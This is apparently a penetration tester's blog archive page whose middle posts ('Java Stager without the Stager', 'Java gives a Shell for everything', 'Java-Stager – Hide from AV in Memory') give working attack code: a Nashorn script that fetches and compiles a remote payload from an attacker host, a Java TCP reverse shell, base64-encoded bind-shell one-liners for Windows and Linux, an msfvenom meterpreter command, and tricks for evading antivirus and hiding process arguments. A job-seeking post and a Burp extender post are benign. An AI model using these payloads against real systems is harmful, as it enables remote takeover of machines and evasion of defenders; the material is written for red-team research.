Author Archives: cornerpirate

Seeking new life, and new opportunities

It dawned on me that the task I had originally set myself when I joined Pentest Ltd (Now Secarma) back in 2015 have been met, delivered and exceeded.

I wanted to create a penetration testing team and provide a new route for graduates in Scotland. Instead of mostly relocating to England for a career I sought to ensure there was a place for people wanting to stay nearer to home.

Three years on the industry up here is in rude health. Now Context, NCC, and Pentest Partners have offices too. Not that I am taking credit for those. It has been glaringly obvious to me that Scottish universities have been hurtling out talent for years that probably would have preferred to remain in Scotland if they could.

What is true is that there are plenty of options for the next generation and that is basically what I wanted to achieve so thanks guys 😀

Always leave people on a song right? So I resigned with All along the watchtower yesterday:

I wish Secarma all the best in their future endeavours. They are a talented group, and they are kicking on and looking to do exceptional things.

What gets me out of bed in the morning is to help people. Helping customers secure their assets, and helping colleagues to do more personally and professionally. Both of these are vital to me.

I could certainly of continued doing these at Secarma. However, I saw my three year anniversary come and go this month and simply assessed that job I was hired for as being complete.

Now I am seeking new opportunities. My experience:

  • I have found, trained, and managed penetration testing teams for the last 5 years.
  • I am still an active penetration tester with 13 years experience.
  • I am based in Glasgow.
  • I am available from sorta mid November after a bit of self reflection/home renovation.

Rules for contact are:

  • As they say “my DMs are open” on Twitter over @cornerpirate.
  • If you are the owner, MD, technical director or just in a position to make decisions on behalf of your organisation then go right ahead.
  • If you are a recruiter I prefer not to engage. Thanks for thinking of me

Go on then InfoSec community what do you want me to help with?

Regards

Java Stager without the Stager

I have been doing a lot of playing with Java recently. In fact, this will be the 3rd blog post in a month.

In this post I sought to merge the two threads and move away from “Java-Stager” to deliver the same payload via Nashorn.

Why bother?

If we revisit the goals of a stager, then you should see why this is significant:

  • Stager is a binary or script which is uploaded to the victim.
  • The stager needs to be benign in general to survive cursory analysis.
  • The stager then downloads the actual payload over HTTP straight into memory where it is hidden from lots of AV solutions.

The technique of hiding in memory is based on the work of James Williams with his “too hot for the Internet” video available here:

https://www.youtube.com/watch?v=BYEbhDXgElQ&t=7s

An AV vendor made a copyright claim which had the video pulled temporarily. Then because of that becoming a much bigger story it currently has 32k views. Which is about 30k more than the next most popular video from this year’s BSides Manchester.

The Stager jar file was a weak point of the Java-Stager post. While that is designed to be a proof of concept. It is true that uploading the jar file to Virus Total would probably see it being killed by AV within a few days.

By the end of this post we will have the functionality of Java Stager where everything pretty much happens in memory, and the “Stager” is now an Oracle signed binary which is part of the Java Runtime Environment.

Nashorn Payload

Now that I have a lovely Nashorn engine to play with I have implemented the same reverse shell over TCP which was given out with Java-Stager:

https://github.com/cornerpirate/java-stager/blob/master/src/main/java/TCPReverseShell.java

The following shows how to achieve the same results using only Nashorn code:

// Change this to point to your host
var host = "http:///";

// Load the NnClassLoader over HTTP 
load(host + "NnClassLoader.js");

// Use NnClassLoader to download Janino and Apache commons over HTTP
// Obtain these Jar files and stick them in your web root
var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']});
var P = L.type('org.codehaus.janino.SimpleCompiler');
var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler");

// Import all the Objects that we need
var BufferedReader = Java.type("java.io.BufferedReader");
var InputStreamReader = Java.type("java.io.InputStreamReader");
var StringReader = Java.type("java.io.StringReader");
var StringBuffer = Java.type("java.lang.StringBuffer");
var Method = Java.type("java.lang.reflect.Method");
var URL = Java.type("java.net.URL");
var URLConnection = Java.type("java.net.URLConnection");

// Place Java-Stager's Payload.java file at root of web server.
// This code downloads the payload over HTTP
var payloadServer = new URL(host + "Payload.java");
var yc = payloadServer.openConnection();
var ins = new BufferedReader(new InputStreamReader(yc.getInputStream()));
 
// Read the code into memory in a string
var inputLine;
var payloadCode = new StringBuffer();
while ((inputLine = ins.readLine()) != null) {
   payloadCode.append(inputLine + "\n");
}
// Be tidy and close the input stream.
ins.close();
print("[*] Downloaded payload");

// Compile it using Janino
print("[*] Compiling ....");
var compiler = new SimpleCompiler();
compiler.cook(new StringReader(payloadCode.toString()));
var compiled = compiler.getClassLoader().loadClass("Payload") ;

// Execute "Run" method using reflection
print("[*] Executing ....");
var runMeth = compiled.getMethod("Run");
// This form of invoke works when "Run" is static
runMeth.invoke(null); 

print("[*] Payload, payloading ....");

Hopefully the comments clear up how that works. It basically does this:

  • Download over HTTP the “NnClassLoader.js” library which allows custom class loading.
  • Download the two java libraries required (janino, and commons-compiler). These are required for compilation in memory.
  • Download the payload over HTTP and save it into memory.
  • Compile the payload in memory.
  • Use reflection to execute the “Run” method of the “Payload” object to trigger the payload.

Pretty much the same process as before.

Preparing Attacker’s Server

Start an HTTP listener containing the following files in the web root:

  • NnClassLoader – Available from reference [1]
  • janino-3.0.8.jar – Available from reference [2]
  • commons-compiler-3.0.8.jar – Available from reference [3]
  • java – The same payload I made for Java-Stager works.

Then you start a metasploit multi/handler with the payload set to “generic/shell_reverse_tcp”. With the extra option “set ExitOnSession false” enabled the listener will remain active beyond the first victim connecting back.

Exploiting your victim

Obviously, do not do this on a machine that you are not legally allowed to. This is for research purposes only.

Caveat in mind? Good. All you do is take a copy of the Nashorn payload (shown above) and paste it into a text editor on your “victim”. Then all you need to do is:

  • Set the value of “host” to point to your HTTP listener
  • Save the above to disk as for example “revshell.js”

There are then three ways to run the “revshell.js” using jjs:

# As argument to jjs
jjs path/to/revshell.js

The pros of this is that it is damn easy. To find the cons look at the output Sysinternals process explorer. There you will see that this leaves an obvious path to the payload:

08-jjs-with-file-as-argument

Which isn’t brilliant. The second way is to use “echo” to spoof sending stdin data to the jjs command prompt interface:

# echo spoofing stdin
echo load(“path/to/revshell.js”) | jjs

Looking at process explorer again shows that we have hidden the location of the payload:

09-jjs-using-echo-or-command-prompt-interface

The final method is to just use the command prompt interface and then issue the load command:

# launching jjs as shell and then loading it
jjs
jjs> load(“path/to/revshell.js”)

This again gets a clean looking output from process monitor which isn’t surprising since the last two are equivalent.

Doing it all in memory *

Now these are fine, but you are committing to saving a file on disk. If you want to do it all in memory, then you can:

  • Upload your “revshell.js” to your HTTP listener and then use “load()”.
  • Or paste the program line by line into the command prompt interface.

These both worked for me. But the final way of doing it is to Base64 encode your payload and then paste a 1 liner into jjs to make it work. To keep this as a “no tools on your victim” hack I would suggest using an online encoder for example:

https://www.base64encode.org/

Or you have options in powershell, certutil to encode base64 on Windows, and equivalent options in Linux.

Once you have a base64 encoded version of the payload just paste it into the one liner shown below over “ENCODED_TEXT”:

echo eval(new java.lang.String(java.util.Base64.decoder.decode('ENCODED_TEXT'))); | jjs

This will do it in a one liner in memory. It will execute within the context of a binary signed by Oracle (jjs.exe), and. it will hide the input parameters from Process Explorer on Windows.

* Ok some of it touches disk

Using Systinternals process monitor with the filters set as shown:

10-process-monitor-filters

I discovered that our jjs process (in this case with PID 3504) created some temporary files:

11-jar-cache-files

These are files created by “NnClassLoader”. They are local copies of the two dependencies “janino” and “commons-compiler”. These are NOT malicious and should pass any scrutiny since they are not from nefarious sources.

I think they are an improvement over my PoC Java-Stager which is toasted the second that someone uploads it to Virus total.

Put it together and what have you got?

Here is the Attacker setup and it catching the reverse shell back:

15-Attacker-Listeners.png

Here is the Victim executing the payload using the echo trick with Base64 encoding:

14-Victim-Executing-Nashorn-Stager

So that worked absolutely fine. Bibbity, bobbity, boo!

Trying to trigger AV Alerts

The payload used by Java-Stager and this Nashorn example are currently useful against, I would guess, most Anti-Virus solutions. The reasons being:

  • Most of what they do is in memory, a classic place to hide.
  • The payload has been written by me. The all time most effective AV bypass is to just write your own payload. If the customer’s AV solution has no signature to match against then you will get by long enough to finish up your engagement in most cases.

With those reasons stated I wanted to TRY and trigger an AV response out of a fully up-to-date Microsoft Defender. I hold Defender in high regard personally but that is just an opinion. So lets finish the post by using Eicar to trigger alerts.

Loading Eicar

In my target VM I tried using “load” to obtain a copy of the eicar string:

12-Eicar-download-via-jjs

It downloaded into memory without issue but failed to execute because it isn’t valid JavaScript. No alert was raised, proving that on access scanning failed to find Eicar using in the same place we are hiding our payloads.

To trigger an actual alert because of Eicar I had to use Java to save the string to disk as shown:

13-Writing-Eicar-to-Trigger-Alert

The moment “fw.close()” was called Defender alerted on Eicar as expected.

Once more unto the breach

This is my final check I promise. As I was wrapping this up I thought that the Eicar string is really intended to be a file. It hardly ever gets any scrutiny in memory. It makes sense that it wasn’t caught one way but it was the other.

One final test I generated a straight unencoded payload using msfvenom as shown:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f asp > shell.asp

Then I downloaded it using the “load” command:

16-msfvenom-asp-shell

Again it wasn’t caught by Defender and again it failed to then execute because it was not a JavaScript file. Not really sure what more I should be doing to try and trigger an alert than trying a pure msfvenom payload.

There you have it. A living off the land binary which you can use to do things merely by copy/paste giving you new options for evading the blue team.

References

[1] https://github.com/NashornTools/NnClassLoader
[2] http://repo1.maven.org/maven2/org/codehaus/janino/janino/
[3] http://repo1.maven.org/maven2/org/codehaus/janino/commons-compiler/

Java gives a Shell for everything

Did you know that Java has shipped with a JavaScript engine which executes in memory and has been around for years? Well it does and it has. This rambling tale is about how I came about it over two engagements.

Tl;dr – the highlights of this post are:

  • Universal scripting capability via Java Runtime Environment (JRE)
  • Allowing in-memory only payloads
  • Great options for bind and reverse shells
  • For the red team connoisseurs a commonly available living off the land binary for all the above

Initial Discovery

On an engagement at the end of 2017 I was enumerating what I had to play with on a customers Workstation.

As part of build reviews I like to find:

  • Command prompts – cmd.exe, powershell.exe, ftp.exe etc; and
  • Scripting engines – powershell.exe, cscript.exe etc

This is standard practice at the start of enumeration really.

Looking in the “/bin” folder of the Java Runtime Environment (JRE) configured on the workstation I came across “jjs.exe”. This actually turned out to suit both purposes.

Using jjs.exe to get a command prompt on your workstation

Caveat; I am going to assume that binary white listing, and careful setup would neuter the technique. However, my target had none of that so I got to run wild. Lets stick to what I do know.

Double click on “jjs.exe” and you will get a command prompt interface as shown:

02-jjs-command-prompt

This is not terribly friendly because it doesn’t have any help baked in. A little reading around about what jjs is on Oracle’s website pointed out this was a JavaScript prompt. What is better is that it can call Java objects, as per reference [1]. That has an excellent write-up of how to call Java objects.

The following code can be used to achieve a slightly broken command prompt interface through jjs:

var pb = new java.lang.ProcessBuilder("cmd.exe","/k");
pb.redirectInput(java.lang.ProcessBuilder.Redirect.INHERIT);
pb.redirectOutput(java.lang.ProcessBuilder.Redirect.INHERIT);
pb.redirectError(java.lang.ProcessBuilder.Redirect.INHERIT);
pb.start();

Then lets look at what I mean by slightly broken command prompt:

01b-local-command-prompt-via-jjs

Initially you can see that there is no pass through of commands to “cmd.exe” so you cannot get the hostname. Then after pasting in the code and executing it you can see that every other line of input gets you command execution. Beggars cannot be choosers, this was better than no command prompt at all.

I filed it under a minor point of interest. Within the context of a locked down workstation you might have luck with this where other things have failed. If you get a crumb out of that be sure to ping me on Twitter (@cornerpirate) because I would love to know.

The rest of this post moves into different contexts entirely. An internal pentest where I needed to get a bind shell out of it.

Doing more with jjs.exe

A few months ago I hit a unique set of circumstances on a different engagement. Where we had an outdated version of Weblogic having a known RCE exploit. The network was setup to deny any and all reverse connections back. So a reverse shell was not an option. Add into the mix that *every* node on the network had endpoint protection software, some form of in-line traffic inspection, and you should understand they had done so many of the basics perfectly.

Pretty much every payload we lobbed at this thing didn’t work. We had less than ideal test conditions and had to infer the filtering device from behaviour, and only knew about the endpoint protection from another box.

While we assumed we had “RCE”. There was no detectable way of confirming that any payload was executing. The server lived in an area of the network that could not do external DNS. So using a Burp collaborator trick to force a detectable lookup did not confirm that the RCE even worked. Firing in the blind is hard.

We tried to write JSP webshells but were having difficulty guessing the web root etc.

We fell down trying to get bind shells. Starting with the venerable post from pentestmonkey [2]about reverse shells in various languages. I converted them all into bind shells (a post about that soon) and watched as none of them worked on that target.

Sometimes onsite work is brutal. I drove home feeling like a pretty shitty pentester having failed to get anything out of it.

Then I remembered that this is a WebLogic server so it would have Java installed. The bit of pentestmonkey’s cheat sheet for Java is also not perfect since it clearly relies on compiling Java. To compile Java you need to have the Java Development Kit (JDK) installed which in fairness a WebLogic server probably has.

I came up with two plans for attack the following morning:

  1. Make a one liner using jjs
  2. Consider echoing line by line my Java payload into a /tmp/exploit.java file, and then a “javac /tmp/exploit.java” and finally “java /tmp/exploit”.

The second one seems like it will work too but in the end I didn’t have to do that because option 1 worked.

Java One Liner Using jjs

The jjs shell has a “load” command which loads and executes a file. Your payload can be located on the victim’s hard disk or you can load things over HTTP. I show examples of both below:

load("c:\wherever\payload.txt");
load("http:\\attackerip\payload.txt");

There is an obvious quick win if you can get a reverse connection back from your victim. You simply deliver your payload over HTTP and you never touch disk. Obviously in my narrative here I could not use HTTP so I needed to find another solution.

jjs is an interactive command prompt meaning that the user has to be there to send commands via stdin. To do this you can simply use “echo” to print the command you want and simply redirect it into jjs:

03-echo-to-redirect

Sweet. The example syntax would be this:

echo load("c:\wherever\payload.txt"); | jjs.exe 

That works if you want to stage your payload on disk. In addition to “load” it turned out that jjs supports “eval”. God I love me an “eval”. We will get to that in a minute but first lets see a bind shell:

var port=4444;      // Port to bind on
var cmd='cmd.exe';  // OS command to execute. 
// Bind to port
var serverSocket=new java.net.ServerSocket(port);
// Accept user connection
while(true){ // this while keeps the port bound when client disconnects
var s=serverSocket.accept();
// Redirect stdin, stderr and stdout from process to client.
var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();
var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while( pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();
}

On Linux simply change “cmd.exe” to “/bin/bash”. The above has comments and extra white space to aid your understanding of it. I then stripped that back to create a one-line payload:

var serverSocket=new java.net.ServerSocket(4444);while(true){var s=serverSocket.accept();var p=new java.lang.ProcessBuilder('cmd.exe').redirectErrorStream(true).start();var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while( pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();}

The above has a lot of characters in there which can be problematic when we use echo to pass our one liner into jjs. Fortunately, Java has a Base64 decoder, so we can just use that. The following syntax shows how this would work with jjs:

echo eval(new java.lang.String(java.util.Base64.decoder.decode('ENCODED_TEXT'))); | jjs

When I tested this, I found that a default install of Java on Linux placed jjs in the user’s path. This means that you can use the above syntax directly.

On Windows the binary is not in the path and even the “JAVA_HOME” environment variable is an optional luxury. To cope with that I figured out the command below:

cd "c:\Program Files\Java\jre1.8.*\bin" && jjs.exe

This works because “cd” accepts wildcards in the path. Then the “&&” executes “jjs.exe” only if the previous command successfully executed. Try the above out on Windows to confirm it works for you. If the system has a version of the JDK and the JRE installed simultaneously you can use a double wildcard as shown below:

cd "c:\Program Files\Java\j*1.8.*\bin" && jjs.exe

It doesn’t matter which version of jjs.exe we get so long as it is part of an install newer than 1.8 which makes the above work. If at first you don’t succeed try “1.9”, or “1.10” for newer versions.

Java Bind Shell One Liner for Windows

Finally, the one-liner that you are looking for as a payload on Windows is:

cd "c:\Program Files\Java\j*1.8.*\bin" && echo eval(new java.lang.String(java.util.Base64.decoder.decode(‘dmFyIHNlcnZlclNvY2tldD1uZXcgamF2YS5uZXQuU2VydmVyU29ja2V0KDQ0NDQpO3doaWxlKHRydWUpe3ZhciBzPXNlcnZlclNvY2tldC5hY2NlcHQoKTt2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKCdjbWQuZXhlJykucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpO3ZhciBwaT1wLmdldElucHV0U3RyZWFtKCkscGU9cC5nZXRFcnJvclN0cmVhbSgpLCBzaT1zLmdldElucHV0U3RyZWFtKCk7dmFyIHBvPXAuZ2V0T3V0cHV0U3RyZWFtKCksc289cy5nZXRPdXRwdXRTdHJlYW0oKTt3aGlsZSghcy5pc0Nsb3NlZCgpKXt3aGlsZShwaS5hdmFpbGFibGUoKT4wKXNvLndyaXRlKHBpLnJlYWQoKSk7d2hpbGUoIHBlLmF2YWlsYWJsZSgpPjApc28ud3JpdGUocGUucmVhZCgpKTt3aGlsZShzaS5hdmFpbGFibGUoKT4wKXBvLndyaXRlKHNpLnJlYWQoKSk7c28uZmx1c2goKTtwby5mbHVzaCgpO2phdmEubGFuZy5UaHJlYWQuc2xlZXAoNTApO3RyeSB7cC5leGl0VmFsdWUoKTticmVhazt9Y2F0Y2ggKGUpe319O3AuZGVzdHJveSgpO3MuY2xvc2UoKTt9’))); | jjs.exe

What a long-winded way of getting around to a one liner but awesome fun figuring that out.

Java Bind Shell One Liner for Linux

Here is the equivalent if you want to do the same on Linux/Unix:

echo "eval(new java.lang.String(java.util.Base64.decoder.decode('dmFyIHNlcnZlclNvY2tldD1uZXcgamF2YS5uZXQuU2VydmVyU29ja2V0KDQ0NDQpO3doaWxlKHRydWUpe3ZhciBzPXNlcnZlclNvY2tldC5hY2NlcHQoKTt2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKCcvYmluL2Jhc2gnKS5yZWRpcmVjdEVycm9yU3RyZWFtKHRydWUpLnN0YXJ0KCk7dmFyIHBpPXAuZ2V0SW5wdXRTdHJlYW0oKSxwZT1wLmdldEVycm9yU3RyZWFtKCksIHNpPXMuZ2V0SW5wdXRTdHJlYW0oKTt2YXIgcG89cC5nZXRPdXRwdXRTdHJlYW0oKSxzbz1zLmdldE91dHB1dFN0cmVhbSgpO3doaWxlKCFzLmlzQ2xvc2VkKCkpe3doaWxlKHBpLmF2YWlsYWJsZSgpPjApc28ud3JpdGUocGkucmVhZCgpKTt3aGlsZSggcGUuYXZhaWxhYmxlKCk+MClzby53cml0ZShwZS5yZWFkKCkpO3doaWxlKHNpLmF2YWlsYWJsZSgpPjApcG8ud3JpdGUoc2kucmVhZCgpKTtzby5mbHVzaCgpO3BvLmZsdXNoKCk7amF2YS5sYW5nLlRocmVhZC5zbGVlcCg1MCk7dHJ5IHtwLmV4aXRWYWx1ZSgpO2JyZWFrO31jYXRjaCAoZSl7fX07cC5kZXN0cm95KCk7cy5jbG9zZSgpO30=')));" | jjs

Notice the double-quotes around the string which the Windows payload didn’t need? For those with eagle eyes (and a set of Base64 decoding goggles), the encoded string was modified to set the command to “/bin/bash”.

This was the one which worked for me on the customer engagement.

Using it with metasploit

Finally, if you want to use the same techniques via Metasploit it works with “generic\shell” payload. Provide the relevant one-liner as the value of the “PAYLOADSTR” being careful to escape all: double-quotes, single-quotes and backslashes by prefixing with a backslash.

If in doubt look at the value when using “show options” as that displays the final form that will be executed on the target. If your quotes or slashes are missing then escape harder!

Washup

I was rather happy with my shiny shell so I was going to get this blog post out. Then I had that thought which triggers doubt in every security researcher. Has someone got here before me? Turns out that yes someone had.

Take a bow Brett Hawkins. At the time I was doing my root dance he had posted reference [3]. Which covers things brilliantly.

However, he is using “jrunscript” instead of jjs. His post came out between me finding jjs on the first job and then getting the good shit on the second job. Seems that the theory of Multiple Discovery holds true again 😀

Brett has followed up his first post with another one at reference [4]. Loving his work.

Making it more dangerous

Why have I bothered posting my research when Brett has pretty much nailed it? A simple list of them:

  • He has blogged about “jrunscript” which I have omitted from this post precisely because he covered it.
  • His posts are applicable only when the victim is running JDK. This is not the most common form of Java. The bulk will have JRE installed.
  • Therefore the things I have listed above I would argue are much more dangerous. They will affect ANYTHING which is running Java.

Of course to trigger any of this you need to have command execution on the victim’s computer. The reason I am being so open here is that this is a commonly available scripting engine which can be integrated into various things. It is not a zero day exploit which will get anyone in to anything.

What you can do is establish bind and reverse TCP shells in a new language where the payloads are pretty universal. You can re-implement some of the amazing PowerShell libraries in Java and have another option which might go undetected.

If the trick in Red Teaming is currently to go living off the land (see reference [5]. What this gives people is another string to go plucking.

References

  1. https://winterbe.com/posts/2014/04/05/java8-nashorn-tutorial/
  2. http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  3. https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html
  4. https://h4wkst3r.blogspot.com/2018/08/byoj-bring-your-own-jrunscript.html
  5. https://github.com/api0cradle/LOLBAS

 

 

Java-Stager – Hide from AV in Memory

== Update 08/08/2018 ==
The day after I posted it was Glasgow Defcon. I found a spare 30 minutes to make some slides so I did a lightning talk. I know lots of people like to have slides when slides exist so here they are:

https://cornerpirate.files.wordpress.com/2018/08/java-stager.pdf

Though personally I think the blog post is going to help more but yea.

Enjoy

== Original Article ==

I work with some very talented people. I also work with James Williams (a joke, precisely the sort of self deprecation he engages in). He should know that I think he is amazingly capable. At SteelCon 2018 he dropped a lightning talk as below:

Next Gen AV vs my shitty code – by James Williams

In it he showed how he gets past various anti-virus solutions by using .Net. To summarise the technique it:

  • Needs a “stager” which can download code into memory
  • A means of compiling that source (also in memory)
  • Then a way to execute that code

The key part from James about the process is: “(the) Stager has to touch disk, the payload does not”. There is nothing malicious about the stager so it essentially gets a free pass from all AV solutions that he tested. Then because the process works entirely in memory there is “hee-haw” (to use a wonderful Scottish phrase) chance of detection at the moment.

I really liked the talk. I especially noticed his challenge that “these are transferable tricks and should work in Java”. Since I like hacking with Java I got stuck in and tried it out. This post discusses the 3 steps of the technique and provides an example payload.

The full code for both the Stager and the payload is available from my GitHub page here:

https://github.com/cornerpirate/java-stager

The rest of this post summarises in English how the things fit together.

I am not a malware expert. I am not a ninja at avoiding anti-virus. Wherever I need to avoid AV I just write my own payload and it seems to work quite well so far. If you want to stay hidden you basically need to implement your own tools. Hopefully my stumbling steps here are of use to someone.

Downloading a page over HTTP using Java

This first code snippet shows the code used to open a connection to a URL and then save the HTTP response body into a StringBuffer:

import java.net.URL;
import java.net.URLConnection;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.StringReader;

...

// URL for java code
URL payloadServer = new URL(u);

URLConnection yc = payloadServer.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(
                    yc.getInputStream()));

// Download code into memory
String inputLine;
StringBuffer payloadCode = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
   payloadCode.append(inputLine + "\n");
}
System.out.println("[*] Downloaded payload");

Nothing crazy here really. But I sometimes need to find this code quickly so felt it necessary to stick it in here prominently. The StringBuffer is not written to disk which matches what James does in .net.

James went further and used encryption to obfuscate his payload. My PoC is not that advanced but could be modified to decrypt the payload too.

Compiling Java in Memory

I went looking for a way to compile Java in memory. I initially made a proof of concept using this GitHub repo:

https://github.com/trung/InMemoryJavaCompiler

It totally worked and did what it said on the tin. The problem came when seeking to run the Stager on a victim. Lots of computers have a Java Runtime Environment (JRE) meaning that they can execute Java bytecode. Typically only Developer workstations and Servers have the Java Development Kit (JDK) installed. InMemoryJavaCompiler requires the victim to have JDK installed or it fails to work. The following shows the error when the JDK is not installed on the victim:

02-error-when-javac-is-not-installed

The “NullPointerException” is not very descriptive but it meant that Javac was not available.

If you get here by Google and want to know how to compile in memory without JDK installed then here are your options:

  1. Official Java Way – Obtain a copy of “tools.jar” from the JDK/lib folder and place it in the JRE/lib folder. This is not an ideal solution because the license from Oracle on Java makes it technically illegal to do this. Note: that simply including “tools.jar” into the classpath of your running application does not work (despite many StackOverflow posts saying it does, it certainly doesn’t work in 2018). This also means that the victim must have admin privileges so that they can alter the contents of the “c:\Program Files\Java\” directory structure. It felt fake when doing this.
  2. Finding a 3rd Party Compiler – Several projects have created their own implementation of Javac. These are open source with less restrictive licenses. After a bit of research the best option was “Janino“. At 780kb this was way smaller than “tools.jar”. It worked by being in the classpath so also didn’t need special privileges from the victim.

In the end Janino won the battle for the reasons above. I altered the PoC to fully operate that way.

Want to know how to compile a String into Java Bytecode in memory? Here is the code to do that:

import org.codehaus.janino.*;

...

// Compile it using Janino
System.out.println("[*] Compiling ....");
SimpleCompiler compiler = new SimpleCompiler();
compiler.cook(new StringReader(payloadCode.toString()));
Class compiled = compiler.getClassLoader().loadClass("Payload") ;

Again nothing too scary here. The “SimpleCompiler” class does what it says giving you a simple API for compiling files and strings into Bytecode. In this case Janino rather charmingly calls the compilation method “cook” (awwwww guys!).

The loadClass method takes a String argument which is set to “Payload”. This is the class name and file name of the payload which is listed later. If you are downloading over HTTP my testing showed that the filename mattered. When giving a URL it must download “http://attackerhost/Payload.java”. Whatever your payload file is called on disk must match the class name or compilation will fail.

Using Reflection to execute Java Bytecode in Memory

By the end of the previous snippet we have access to our Bytecode via the “compiled” object. Now all we need to do is execute the “Run” method of the Payload class and we can go home. The following shows how to do that:

import java.lang.reflect.Method;

...

// Execute "Run" method using reflection
System.out.println("[*] Executing ....");
Method runMeth = compiled.getMethod("Run");
// This form of invoke works when "Run" is static
runMeth.invoke(null); 
            
System.out.println("[*] Payload, payloading ....");

We are about to say method a lot. Deep breaths everyone… Use the “getMethod” method to get the Method. Then use the “invoke” method to invoke the method that you got!

To be consistent with the naming scheme used by James I have called my method “Run” with a capital “R”. Which isn’t very Java of me. I can sense a few veins pulsing and throbbing on foreheads at the very notion of pissing about with the case of a method name in Java.

The “invoke(null)” works because the “Run” method has the following declaration:

public static void Run() { ; }

Since it is static and because it has no arguments we get away with just passing “null”. There is a dark art to invoking methods with actual arguments which I did not need to figure out for my reverse shell payload (included later in this post).

My Java Stager

The full code is available here:

https://github.com/cornerpirate/java-stager/blob/master/src/main/java/Stager.java

We have already discussed all of the important bits relevant to the techniques in the three snippets. In addition to those, it has some basic usage baked in to make it less scary to use:

// Check how many arguments were passed in
if (args.length != 1) {
   System.out.println("Proper Usage is: java -jar JavaStager-0.1-initial.jar ");
   System.exit(0);
}

If you call the Stager without any input parameters it will bomb out and explain that you need to provide a URL.

The URL you use should point to a Java payload. Obviously I am not making malware for a living (I would not be any good at it). I suspect you would want to hard-code the URL rather than require user interaction but I am not here to make something malicious.

My Java Payload

The full source code for the example payload is available here:

https://github.com/cornerpirate/java-stager/blob/master/src/main/java/TCPReverseShell.java

It includes a basic TCP reverse shell aimed at a Windows victim. The eagle eyed will notice the file in the GitHub repository is not called “Payload.java”. This is not going to work if you use it without modification. The following shows the full listing for the Payload class which will work:

import java.net.Socket;
import java.io.InputStream;
import java.io.OutputStream;

public class Payload {

    /**
     * This method is called when the payload is compiled and executed. I am
     * showing a reverse shell here for Windows.
     */
    public static void Run() {

        try {

            // IP address or hostname of attacker
            String attacker = "SETME"; 
            int port = 8044;
            // For a windows target do this. For linux "/bin/bash"
            String cmd = "cmd.exe";
            // The rest creates a new process
            // Establishes a socket to the attacker
            // Then redirects the stdin, stdout and stderr to the port.
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(attacker, port);
            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
            OutputStream po = p.getOutputStream(), so = s.getOutputStream();
            // read all input and output forever.
            while (!s.isClosed()) {
                while (pi.available() > 0) {
                    so.write(pi.read());
                }
                while (pe.available() > 0) {
                    so.write(pe.read());
                }
                while (si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            };
            p.destroy();
            s.close();
        } catch (Exception ex) {
            // Ignore errors as we are doing naughty things anyway.
        }

    }
}

Just set the attacker’s IP and port number appropriately and you are away with the above saved into “Payload.java”.

The reason for using a different filename in the repository is to prevent class name clashing when the Payload is actually compiled. The Readme and heading comments for the template in GitHub both explain the changes you need to make so I will not repeat it a 3rd time here.

Lets all look at a shell!

Because why not? PoC the PoC or gtfo isn’t it? Here is < 60 seconds of waffling to show how it works:

For ease the key parts of the video are. Start your listeners on the attacker's machine:

01-attacker-setting-up-listeners

Upload the Stager and libs folder to the victim and then execute using this syntax:

java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java

If you have set your Payload.java file up correctly then you will have a wizzy new shell:

03-shell-stablished

I have to admit this was fun. Thanks for the inspiration James!

Grep Extractor a Burp Extender

Burp Suite’s “Intruder” is one of my favourite features. It automates various parts of my job for me by repeating a baseline request with minor variations. You can then check out how a target responded. Unlike the “Reapeater” you get a nice table of results and at a glance can find things with different response codes. Basically Intruder is brilliant.

Intruder has a feature called Grep Extract which allows you to find content within HTTP Responses and then extract the values. You might want to do this if you are enumerating users by an ID and you want to extract the email addresses for example.

I looked but could not find the same functionality via the Proxy History so I made a simple Extender to add that functionality. This blog post covers:

  • Basic Usage of Grep Extract – showing how to use Grep Extract within Intruder. Why not show the inspiration?
  • Grep Extractor – showing the code and how to use it.

This extender is designed to have the code altered by you when you want to extract something. It has never been easier for you to get your hands dirty and get a new Extender that does something useful!

Basic Usage of Grep Extract

When you are inspecting the results of an intruder attack you can use the “options” tab and “Grep – Extract” down at the bottom to extract data from a response. Here is what the options look like:

01-Grep-Extract

Click on “Add” to bring up the screen below where you can simply highlight the part you want to extract:

02-using-grep-extract

In this case the response page has a Credit Card number so I highlighted that part. When you apply that the Intruder results table will update to include a new column with the extracted data:

03-grep-extract-giving-you-the-details

You can export the results to a CSV file via that “Save” menu. This is all very well and good when you are using Intruder.

Grep Extractor

You have seen how Burp provides this feature within Intruder. It uses a nice GUI approach which we are not replicating at all. The following shows the source code for Grep Extractor:

#burp imports
from burp import IBurpExtender
from burp import IBurpExtenderCallbacks
from burp import IExtensionHelpers
from burp import IContextMenuFactory
from burp import IContextMenuInvocation
import re

# java imports
from javax.swing import JMenuItem
import threading

class BurpExtender(IBurpExtender, IContextMenuFactory):

   def registerExtenderCallbacks(self, callbacks):
